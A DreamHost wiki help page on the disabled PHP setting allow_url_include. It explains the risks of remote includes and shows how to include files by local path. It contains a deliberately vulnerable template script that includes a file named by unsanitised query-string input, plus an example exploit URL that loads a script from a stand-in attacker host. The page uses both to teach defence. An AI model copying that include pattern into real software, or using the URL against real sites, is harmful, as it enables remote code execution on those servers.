allow_url_include

From DreamHost
Jump to: navigation, search

The PHP option allow_url_include would normally allow a programmer to include() a remote file (as PHP code) using a URL rather than a local file path. For security reasons, DreamHost has disabled this feature. If a script claims to require this feature, you should look into alternative software, as the use of this feature indicates serious design flaws.

Why is this bad?

There are a number of reasons why URL includes should be avoided:

  1. It is insecure. If your application can be tricked into including content from a URL outside itself (and there are a number of common ways this can happen!), an attacker can force your application to start running code from their own web site.
  2. It is inefficient. If your PHP script includes content from a URL, then the web server must make HTTP requests to generate the page. This will make your page load much more slowly than necessary, especially if the site you're loading content from is responding slowly!
  3. It is unreliable, for the same reasons: if the web server you are loading content from occasionally fails to respond, your web site will also sometimes fail to load properly!
  4. It is usually unnecessary. In most cases, allow_url_include can be avoided either by including the content directly (if it is being loaded from a domain you host) or by loading and printing the content without evaluating it as PHP.

Server-Side Includes

Many developers include files by pointing to a remote URL, even if the file is within the local system. For example:

<?php include("http://example.com/includes/example_include.php"); ?>

With allow_url_include disabled, this method will not work. Instead, the file must be included with a local path, and there are three methods of doing this:

  1. By using a relative path, such as ../includes/example_include.php.
  2. By using an absolute path (also known as relative-from-root), such as /home/username/example.com/includes/example_include.php.
  3. By using the PHP environment variable $_SERVER['DOCUMENT_ROOT'], which returns the absolute path to the web root directory. This is by far the best (and most portable) solution. The example that follows shows the environment variable in action:

Example Include

<?php include($_SERVER['DOCUMENT_ROOT']."/includes/example_include.php"); ?>

Processing Differences (and passing variables to an included file)

It is worth mentioning that the alternative solutions presented here will result in a difference in the way the include() function is handled. The alternative solutions all return the PHP code from the included page; however, the now-unavailable remote URL method returns the result from the included page. One result of this behavior is that you cannot pass a query string using the alternative solutions. You define the variables locally before performing the include:

Example

To achieve the effect of this:

<?php include("http://example.com/includes/example_include.php?var=example"); ?>

You must instead use this:

<?php
$var = "example";
include($_SERVER['DOCUMENT_ROOT']."/includes/example_include.php");
?>

Adding Flexibility

For maximum flexibility (when multiple includes are required, for example), it may be easier to create a variable:

<?php
$doc_root = $_SERVER['DOCUMENT_ROOT'];
include("$doc_root/includes/example_include.php");
include("$doc_root/includes/example_include2.php");
include("$doc_root/includes/example_include3.php");
include("$doc_root/includes/example_include4.php");
?>

Note: The technique works in the same way, regardless of whether you are using include() or require().

Setting the include_path

You can also explicitly set the PHP directive, "include_path", on the fly.

<?php
ini_set('include_path', ini_get('include_path').':'.$_SERVER['DOCUMENT_ROOT'].'/includes');
include('example_include.php');
include('example_include2.php');
include('example_include3.php');
include('example_include4.php');
?>

Example exploitation

A common use of server-side includes is for creating some sort of site template. Often, a single page with a header and a footer is fed differing content by using a query string. Here is a typical example script:

<?php
$page = ($_GET['page']) ? $_GET['page'] : "default.php";
?>
<html>
  <head>
    <title>This page is easy to exploit</title>
  </head>
  <body>

  header...

<?php include($page); ?>

  footer...

  </body>
</html>

The content of the page can be varied by appending a query string to the URL:

http://example.com/index.php?page=varied.php

If allow_url_include is enabled, this system can be exploited by simply changing the value of the variable in the query string:

http://example.com/index.php?page=http://crackerscum.net/evilscript.txt

Getting around it

  1. Just say no. Enabling allow_url_include is a terrible idea that exposes your website, and the websites of others on your shared server, to unnecessary risk.
  2. If absolutely required, you can modify this setting by using your own customized php.ini or installing your own version of PHP and enabling it.

See also

External links